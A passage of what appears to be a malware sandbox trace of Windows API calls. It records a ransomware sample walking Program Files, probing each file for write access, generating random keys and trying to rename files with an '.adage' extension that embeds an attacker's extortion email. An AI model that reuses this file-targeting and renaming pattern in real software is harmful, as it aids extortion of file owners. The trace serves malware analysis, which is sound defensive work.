| out: lpFileSize=0x334fc80*=16212) returned 1 [0061.908] CloseHandle (hObject=0x198) returned 1 [0061.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceamharic.txt")) returned 0x20 [0061.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceamharic.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceamharic.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.908] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceArray.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicearray.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.909] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1272822) returned 1 [0061.909] CloseHandle (hObject=0x198) returned 1 [0061.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceArray.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicearray.txt")) returned 0x20 [0061.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceArray.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicearray.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceArray.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicearray.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.910] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicedayi.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.910] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=980102) returned 1 [0061.910] CloseHandle (hObject=0x198) returned 1 [0061.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicedayi.txt")) returned 0x20 [0061.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicedayi.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicedayi.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.910] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.912] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1665878) returned 1 [0061.912] CloseHandle (hObject=0x198) returned 1 [0061.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt")) returned 0x20 [0061.912] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0061.912] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt")) returned 0 [0061.912] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedshuangpin.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.912] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1445430) returned 1 [0061.912] CloseHandle (hObject=0x198) returned 1 [0061.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedshuangpin.txt")) returned 0x20 [0061.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedshuangpin.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.913] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedshuangpin.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.913] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.913] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.913] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1810352) returned 1 [0061.913] CloseHandle (hObject=0x198) returned 1 [0061.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt")) returned 0x20 [0061.913] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0061.914] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt")) returned 0 [0061.914] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceYi.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceyi.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.914] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=44968) returned 1 [0061.914] CloseHandle (hObject=0x198) returned 1 [0061.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceYi.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceyi.txt")) returned 0x20 [0061.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceYi.txt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceyi.txt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceYi.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceyi.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.915] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\drag.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.915] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=6772) returned 1 [0061.915] CloseHandle (hObject=0x198) returned 1 [0061.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\drag.png")) returned 0x20 [0061.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\drag.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\drag.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.915] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\calendar.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\calendar.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.916] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=19102) returned 1 [0061.916] CloseHandle (hObject=0x198) returned 1 [0061.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\calendar.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\calendar.html")) returned 0x20 [0061.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\calendar.html.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\calendar.html.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\calendar.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\calendar.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.917] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css\\calendar.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.918] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4848) returned 1 [0061.918] CloseHandle (hObject=0x198) returned 1 [0061.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css\\calendar.css")) returned 0x20 [0061.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css\\calendar.css.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css\\calendar.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.918] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.918] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1010) returned 1 [0061.918] CloseHandle (hObject=0x198) returned 1 [0061.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\gadget.xml")) returned 0x20 [0061.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\gadget.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.921] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\calendar.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js\\calendar.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.922] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=65288) returned 1 [0061.922] CloseHandle (hObject=0x1a4) returned 1 [0061.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\calendar.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js\\calendar.js")) returned 0x20 [0061.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\calendar.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js\\calendar.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\calendar.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js\\calendar.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.923] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\icon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.923] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3347) returned 1 [0061.923] CloseHandle (hObject=0x1a4) returned 1 [0061.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\icon.png")) returned 0x20 [0061.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\icon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.924] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-desk.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.925] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1702) returned 1 [0061.925] CloseHandle (hObject=0x1a4) returned 1 [0061.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-desk.png")) returned 0x20 [0061.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-desk.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-desk.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.925] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-dock.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.126] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1367) returned 1 [0062.126] CloseHandle (hObject=0x1a0) returned 1 [0062.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-dock.png")) returned 0x20 [0062.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-dock.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-dock.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.126] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0062.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-disable.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-disable.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0062.787] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=201) returned 1 [0062.789] CloseHandle (hObject=0x184) returned 1 [0062.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-disable.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-disable.png")) returned 0x20 [0062.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-disable.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-disable.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0062.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext-disable.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bnext-disable.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.796] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0062.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\drag.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.050] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=23429) returned 1 [0063.054] CloseHandle (hObject=0x1ac) returned 1 [0063.063] GetFileAttributesW 